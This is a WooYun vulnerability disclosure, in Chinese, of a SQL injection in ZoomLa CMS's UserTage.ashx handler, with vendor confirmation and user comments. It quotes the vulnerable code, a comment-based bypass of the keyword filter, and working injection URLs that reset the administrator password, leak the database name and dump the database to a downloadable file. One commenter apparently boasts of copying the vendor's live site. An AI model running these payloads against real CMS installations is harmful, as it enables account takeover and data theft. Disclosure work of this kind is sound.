当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056672

漏洞标题:逐浪CMS任意SQL游走CMS2 V1.4 V1.5、 CMS6.0均受影响(其他版本死链未测)

相关厂商:逐浪CMS

漏洞作者: Damo

提交时间:2014-04-11 16:29

修复时间:2014-07-10 16:30

公开时间:2014-07-10 16:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-11: 细节已通知厂商并且等待厂商处理中
2014-04-11: 厂商已经确认,细节仅向厂商公开
2014-04-14: 细节向第三方安全合作伙伴开放
2014-06-05: 细节向核心白帽子及相关领域专家公开
2014-06-15: 细节向普通白帽子公开
2014-06-25: 细节向实习白帽子公开
2014-07-10: 细节向公众公开

简要描述:

问题出现在详细说明中

详细说明:

问题出现在

User\Develop\ashx\UserTage.ashx


代码片段:

try
{
M_Zone_Node MZN = new M_Zone_Node();
B_EditPage B_EP = new B_EditPage();
MZN.NodeID = Convert.ToInt32(nodeid);
MZN.UserID = B_U.GetLogin().UserID;
string strTemp = style;
string[] strStyle = strTemp.Split('|');
if (strStyle != null)
{
foreach (string str in strStyle)
{
string[] strLabel = str.Split('^');//对传递的参数进行截取
if (strLabel.Length == 2)
{
MZN.LabelID = strLabel[0];
MZN.style = strLabel[1];
DataTable dt = B_EP.SelLabelByLabelID(MZN);//判断是否包含
if (dt != null && dt.Rows.Count > 0)
{
B_EP.UpLabel(MZN);//包含则修改 --问题出现在此
}
else
{
B_EP.AddLabel(MZN);//不包含则添加
}
}
}
}


public int UpLabel(M_Zone_Node model)
{
return Sql.UpLabel(this.strTableName, "[style]=" + model.style, string.Concat(new object[] { "[UserID]=", model.UserID, " AND [NodeID]=", model.NodeID, " AND [LabelID]=", model.LabelID }), M_Zone_Node.GetParameters(model));
}
//参数被直接带入SQL 问题代码-- "[style]=" + model.style,
strSql = "UPDATE " + strTableName + " SET " + strSet;//问题代码
strSql = strSql + " WHERE " + strWhere;


那么这里我们构造SQL
(1)
这里值得注意的是 先提交(

http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222|2^333333

)然后再提交(1)原因在第一段代码中
但是这个地方是有防注入 咱们看一下逐浪的防注入代码 :

string str = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
foreach (string str2 in str.Split(new char[] { '|' }))
{
if (Str.IndexOf(str2) >= 0)
{
flag = false;
}
}


绕过方式 在关键字紧挨的地方加上/**/即可绕过
(2)
修改管理员密码:

http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;update ZL_Manager set AdminName='admin',AdminPassword='e10adc3949ba59abbe56e057f20f883e' where AdminID=1--|2^333333


(3)获取网站物理路径
然后用管理员账号登陆后台打开
http://192.168.0.103:8885/manage/Common/SystemFinger.aspx

.png


可得到物理程序路径 G:\程序发布\Zoomla!CMS2_x1.5\Zoomla!CMS2_x1.5源码\
(4)获取数据库
那么执行: http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;update/**/ dbo.ZL_User set Email=(select/**/ db_name()) where UserName='admin'--|2^333333
然后刷新自己资料

.png


得到数据库名称 ZoomLa1.5
(5)备份数据库并下载:

http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;backup database/**/ [ZoomLa1.5] to disk='G:\程序发布\Zoomla!CMS2_x1.5\Zoomla!CMS2_x1.5源码\123.rar';--|2^333333


然后访问http://192.168.0.103:8885/123.rar 即可下载数据库
有人会问 为什么备份成rar 其实是因为有些IIS没有设置bak的MIME
另外可以查看当前用户权限 如果sa的话 也可以备份其他数据库 提权 之类的各自淫荡吧

.png


漏洞证明:

.png


CMS2 V1.5

1.5.png


CMS2 V1.4

1.4.png


CMS 6.0

6.0.png


其他版本

.png


看修改时间 应该其他版本也受影响
主要是没有找到1.0 1.1 1.2 1.3 的资源

修复方案:

其他参数都参数化了 为何偏偏要偷懒一点那

Sql.UpLabel(this.strTableName, "[style]=" + model.style, string.Concat(new object[] { "[UserID]=", model.UserID, " AND [NodeID]=", model.NodeID, " AND [LabelID]=", model.LabelID }), M_Zone_Node.GetParameters(model));


sql注入有点小弱

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-04-11 18:09

厂商回复:

感谢反馈。

最新状态:

2014-04-12:已更新纠正,团队协作审查不严,必将加强改正。


漏洞评价:

评论

  1. 2014-04-11 17:01 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    倒还好。他们经常有这类问题

  2. 2014-04-11 17:45 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    @wefgod 我就知道每一个逐浪的漏洞下面有回复的话就是你的回复~~

  3. 2014-04-11 18:20 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @wefgod 我就知道每一个逐浪的漏洞下面有回复的话就是你的回复~~

  4. 2014-04-11 18:22 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    咋这么低的分啊

  5. 2014-04-11 23:21 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @疯狗 俺的还好几个被忽略呢之前的。

  6. 2014-04-11 23:21 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @梧桐雨 哈哈,被你看穿了

  7. 2014-04-12 00:07 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @寂寞的瘦子 很好奇标题的死链是什么,就来围观了

  8. 2014-05-05 10:12 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    上次关于注入绕过的问题,已经提交过了,但是别人不改。

  9. 2014-05-06 18:33 | Damo ( 普通白帽子 | Rank:209 漏洞数:31 | 我只是喜欢看加菲猫而已ส็็็็็็็็...)

    @wefgod 咱们只是找漏洞 至于他们改不改则是他们的事情

  10. 2014-07-10 18:40 | keke ( 路人 | Rank:6 漏洞数:8 | 目测和口算各种妹纸)

    我还有几个

  11. 2014-07-10 18:52 | keke ( 路人 | Rank:6 漏洞数:8 | 目测和口算各种妹纸)

    @Damo 官网我已经备份下来了